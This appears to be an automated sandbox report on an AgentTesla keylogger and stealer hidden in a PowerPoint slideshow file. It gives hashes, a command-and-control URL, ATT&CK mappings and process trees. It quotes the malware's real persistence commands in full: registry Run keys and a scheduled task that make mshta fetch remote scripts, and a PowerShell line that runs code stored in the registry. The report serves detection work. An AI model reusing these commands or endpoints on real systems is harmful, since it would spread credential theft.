agenttesla | fbd1eaa637bf9ec6e7a77759026fab8c924114a1fbb5345534152746b6928431

General

Target

new order 001.pps
Size

113KB
MD5

6201df5c78c9638cc753b9d23b61e500
SHA1

28ff4b387e9da8e2eaf2f3dccfd8b0728b90adc3
SHA256

fbd1eaa637bf9ec6e7a77759026fab8c924114a1fbb5345534152746b6928431
SHA512

a03251cbeda811fd9ce7bdeadca0a8504a0de4069b996e297c7b2066a130f90feeed76223b35e0a0b23ff39d6951fdaf8637d9ce86ed7341c2cc26fce5026f4d

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

http://103.133.105.179/28/inc/e7c6400cf93299.php

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

ping.exemshta.exeping.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2296	2604	ping.exe	POWERPNT.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1832	2604	mshta.exe	POWERPNT.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3520	2604	ping.exe	POWERPNT.EXE

AgentTesla Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/756-29-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral2/memory/756-30-0x0000000000437C1E-mapping.dmp	family_agenttesla

Blocklisted process makes network request 8 IoCs

Processes:

mshta.exePowershell.exe

flow pid process

26 1832 mshta.exe
28 1832 mshta.exe
30 1832 mshta.exe
32 1832 mshta.exe
34 1832 mshta.exe
36 1832 mshta.exe
37 1832 mshta.exe
40 2272 Powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

MSBuild.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts MSBuild.exe

flow	pid	process
26	1832	mshta.exe
28	1832	mshta.exe
30	1832	mshta.exe
32	1832	mshta.exe
34	1832	mshta.exe
36	1832	mshta.exe
37	1832	mshta.exe
40	2272	Powershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	MSBuild.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\bukun = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://potatokapoli.blogspot.com/p/33.html\"\", 0 : window.close\")"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\Defeduckgotfucked = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).phuttalylo)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\mithuiki = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).meather)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\checkmatebaby = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"mshta https://dodumdum6.blogspot.com/p/33.html\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"https://milltu99.blogspot.com/p/33.html\"\", 0 : window.close\")"	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Powershell.exe

description pid process target process

PID 2272 set thread context of 756 2272 Powershell.exe MSBuild.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 2272 set thread context of 756	2272	Powershell.exe	MSBuild.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2320 schtasks.exe

pid	process
2320	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

2068 taskkill.exe
3864 taskkill.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

ping.exeping.exe

pid process

3520 ping.exe
2296 ping.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2604 POWERPNT.EXE

pid	process
2068	taskkill.exe
3864	taskkill.exe

pid	process
3520	ping.exe
2296	ping.exe

pid	process
2604	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

Powershell.exeMSBuild.exe

pid	process
2272	Powershell.exe
2272	Powershell.exe
2272	Powershell.exe
2272	Powershell.exe
2272	Powershell.exe
2272	Powershell.exe
2272	Powershell.exe
756	MSBuild.exe
756	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

taskkill.exetaskkill.exePowershell.exeMSBuild.exe

description	pid	process
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	2068	taskkill.exe
Token: SeDebugPrivilege	2272	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2272	Powershell.exe
Token: SeSecurityPrivilege	2272	Powershell.exe
Token: SeTakeOwnershipPrivilege	2272	Powershell.exe
Token: SeLoadDriverPrivilege	2272	Powershell.exe
Token: SeSystemProfilePrivilege	2272	Powershell.exe
Token: SeSystemtimePrivilege	2272	Powershell.exe
Token: SeProfSingleProcessPrivilege	2272	Powershell.exe
Token: SeIncBasePriorityPrivilege	2272	Powershell.exe
Token: SeCreatePagefilePrivilege	2272	Powershell.exe
Token: SeBackupPrivilege	2272	Powershell.exe
Token: SeRestorePrivilege	2272	Powershell.exe
Token: SeShutdownPrivilege	2272	Powershell.exe
Token: SeDebugPrivilege	2272	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2272	Powershell.exe
Token: SeRemoteShutdownPrivilege	2272	Powershell.exe
Token: SeUndockPrivilege	2272	Powershell.exe
Token: SeManageVolumePrivilege	2272	Powershell.exe
Token: 33	2272	Powershell.exe
Token: 34	2272	Powershell.exe
Token: 35	2272	Powershell.exe
Token: 36	2272	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2272	Powershell.exe
Token: SeSecurityPrivilege	2272	Powershell.exe
Token: SeTakeOwnershipPrivilege	2272	Powershell.exe
Token: SeLoadDriverPrivilege	2272	Powershell.exe
Token: SeSystemProfilePrivilege	2272	Powershell.exe
Token: SeSystemtimePrivilege	2272	Powershell.exe
Token: SeProfSingleProcessPrivilege	2272	Powershell.exe
Token: SeIncBasePriorityPrivilege	2272	Powershell.exe
Token: SeCreatePagefilePrivilege	2272	Powershell.exe
Token: SeBackupPrivilege	2272	Powershell.exe
Token: SeRestorePrivilege	2272	Powershell.exe
Token: SeShutdownPrivilege	2272	Powershell.exe
Token: SeDebugPrivilege	2272	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2272	Powershell.exe
Token: SeRemoteShutdownPrivilege	2272	Powershell.exe
Token: SeUndockPrivilege	2272	Powershell.exe
Token: SeManageVolumePrivilege	2272	Powershell.exe
Token: 33	2272	Powershell.exe
Token: 34	2272	Powershell.exe
Token: 35	2272	Powershell.exe
Token: 36	2272	Powershell.exe
Token: SeDebugPrivilege	756	MSBuild.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXEMSBuild.exe

pid process

2604 POWERPNT.EXE
2604 POWERPNT.EXE
756 MSBuild.exe

pid	process
2604	POWERPNT.EXE
2604	POWERPNT.EXE
756	MSBuild.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

POWERPNT.EXEmshta.exePowershell.exe

description	pid	process	target process
PID 2604 wrote to memory of 2296	2604	POWERPNT.EXE	ping.exe
PID 2604 wrote to memory of 2296	2604	POWERPNT.EXE	ping.exe
PID 2604 wrote to memory of 1832	2604	POWERPNT.EXE	mshta.exe
PID 2604 wrote to memory of 1832	2604	POWERPNT.EXE	mshta.exe
PID 2604 wrote to memory of 3520	2604	POWERPNT.EXE	ping.exe
PID 2604 wrote to memory of 3520	2604	POWERPNT.EXE	ping.exe
PID 1832 wrote to memory of 2320	1832	mshta.exe	schtasks.exe
PID 1832 wrote to memory of 2320	1832	mshta.exe	schtasks.exe
PID 1832 wrote to memory of 2068	1832	mshta.exe	taskkill.exe
PID 1832 wrote to memory of 2068	1832	mshta.exe	taskkill.exe
PID 1832 wrote to memory of 2272	1832	mshta.exe	Powershell.exe
PID 1832 wrote to memory of 2272	1832	mshta.exe	Powershell.exe
PID 1832 wrote to memory of 2272	1832	mshta.exe	Powershell.exe
PID 1832 wrote to memory of 3864	1832	mshta.exe	taskkill.exe
PID 1832 wrote to memory of 3864	1832	mshta.exe	taskkill.exe
PID 2272 wrote to memory of 2176	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 2176	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 2176	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 2708	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 2708	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 2708	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe
PID 2272 wrote to memory of 756	2272	Powershell.exe	MSBuild.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\new order 001.pps" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SYSTEM32\ping.exe
ping.exe
2⤵
- Process spawned unexpected child process
- Runs ping.exe
PID:2296

C:\Windows\SYSTEM32\mshta.exe
mshta http://1230948%[email protected]/jasidjasddijjjj
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1832

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""lunkicharkhi"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta https://zoomba619.blogspot.com/p/33.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:2320

C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe
"C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit ((gp HKCU:\Software).meather)|IEX
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
PID:2176

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
PID:2708

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:756

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2068

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\SYSTEM32\ping.exe
ping.exe
2⤵
- Process spawned unexpected child process
- Runs ping.exe
PID:3520

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

Remote System Discovery

1

T1018

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/756-29-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/756-39-0x00000000010E0000-0x00000000010E1000-memory.dmp

Filesize
4KB

Download
memory/756-38-0x0000000006660000-0x0000000006661000-memory.dmp

Filesize
4KB

Download
memory/756-36-0x0000000005260000-0x0000000005261000-memory.dmp

Filesize
4KB

Download
memory/756-35-0x00000000052B0000-0x00000000052B1000-memory.dmp

Filesize
4KB

Download
memory/756-31-0x00000000739C0000-0x00000000740AE000-memory.dmp

Filesize
6.9MB

Download
memory/756-30-0x0000000000437C1E-mapping.dmp

Download
memory/1832-4-0x0000000000000000-mapping.dmp

Download
memory/2068-8-0x0000000000000000-mapping.dmp

Download
memory/2272-26-0x000000000B470000-0x000000000B471000-memory.dmp

Filesize
4KB

Download
memory/2272-24-0x000000000A2B0000-0x000000000A2B1000-memory.dmp

Filesize
4KB

Download
memory/2272-13-0x0000000007640000-0x0000000007641000-memory.dmp

Filesize
4KB

Download
memory/2272-14-0x00000000074A0000-0x00000000074A1000-memory.dmp

Filesize
4KB

Download
memory/2272-15-0x0000000007C70000-0x0000000007C71000-memory.dmp

Filesize
4KB

Download
memory/2272-16-0x0000000007F70000-0x0000000007F71000-memory.dmp

Filesize
4KB

Download
memory/2272-17-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

Filesize
4KB

Download
memory/2272-18-0x0000000007DA0000-0x0000000007DA1000-memory.dmp

Filesize
4KB

Download
memory/2272-19-0x00000000086D0000-0x00000000086D1000-memory.dmp

Filesize
4KB

Download
memory/2272-20-0x00000000088D0000-0x00000000088D1000-memory.dmp

Filesize
4KB

Download
memory/2272-21-0x0000000009500000-0x0000000009501000-memory.dmp

Filesize
4KB

Download
memory/2272-22-0x000000000A350000-0x000000000A351000-memory.dmp

Filesize
4KB

Download
memory/2272-23-0x000000000A040000-0x000000000A041000-memory.dmp

Filesize
4KB

Download
memory/2272-12-0x0000000004B50000-0x0000000004B51000-memory.dmp

Filesize
4KB

Download
memory/2272-25-0x000000000A8F0000-0x000000000A8F1000-memory.dmp

Filesize
4KB

Download
memory/2272-9-0x0000000000000000-mapping.dmp

Download
memory/2272-27-0x0000000008870000-0x000000000887D000-memory.dmp

Filesize
52KB

Download
memory/2272-28-0x0000000003260000-0x0000000003268000-memory.dmp

Filesize
32KB

Download
memory/2272-11-0x00000000739C0000-0x00000000740AE000-memory.dmp

Filesize
6.9MB

Download
memory/2296-3-0x0000000000000000-mapping.dmp

Download
memory/2320-7-0x0000000000000000-mapping.dmp

Download
memory/2604-6-0x00007FF895320000-0x00007FF896EFD000-memory.dmp

Filesize
27.9MB

Download
memory/2604-2-0x00007FF894A50000-0x00007FF895087000-memory.dmp

Filesize
6.2MB

Download
memory/3520-5-0x0000000000000000-mapping.dmp

Download
memory/3864-10-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads